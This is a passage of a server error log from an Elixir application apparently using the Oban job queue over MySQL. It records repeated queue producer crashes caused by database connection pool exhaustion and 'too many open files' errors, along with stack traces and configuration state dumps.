    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:15:03.240754Z], limit: 3, uuid: "f48c95e9-7e65-4b5a-893b-a9fca4301b21", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:03.240759Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169641>, refresh_timer: #Reference<0.2525715032.1121189889.169629>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:15:03.238235Z], limit: 10, uuid: "f6976cfe-4c46-4521-92a6-239dd3219a76", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:03.238305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169644>, refresh_timer: #Reference<0.2525715032.1077673987.29711>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:15:03.242323Z], limit: 5, uuid: "2f1e88b4-e007-4f33-94df-71dc1ab362a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:03.242328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169646>, refresh_timer: #Reference<0.2525715032.1068498948.51559>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:15:03.240221Z], limit: 50, uuid: "55c4f194-dbc8-4dc2-be55-e955ffa6ef4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:03.240227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169642>, refresh_timer: #Reference<0.2525715032.1099431938.53023>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:15:03.238521Z], limit: 20, uuid: "6887366d-bb44-41d3-8786-185f0a5f5049", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:03.238527Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.169643>, refresh_timer: #Reference<0.2525715032.1077673987.29722>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:19.953000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:20.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:20.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:21.154000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:23.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:27.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:15:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:15:15.241295Z], limit: 20, uuid: "06a8eb23-2b80-4cee-9476-f6346838f780", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:15.241301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53207>, refresh_timer: #Reference<0.2525715032.1077673987.29831>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:28.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:15:15.240004Z], limit: 5, uuid: "6c12bfe6-b2af-492c-bce6-e8b1c8fe2244", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:15.240012Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53206>, refresh_timer: #Reference<0.2525715032.1099431938.53176>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:28.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:15:15.240643Z], limit: 10, uuid: "e8334ac7-113a-43f6-abf5-9053f6ef2e38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:15.240649Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53205>, refresh_timer: #Reference<0.2525715032.1099431938.53191>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:15:15.240201Z], limit: 50, uuid: "8c8f6143-7d69-47ff-baf4-f7cf8450d5e5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:15.240205Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.170032>, refresh_timer: #Reference<0.2525715032.1099431938.53179>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:15:28.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
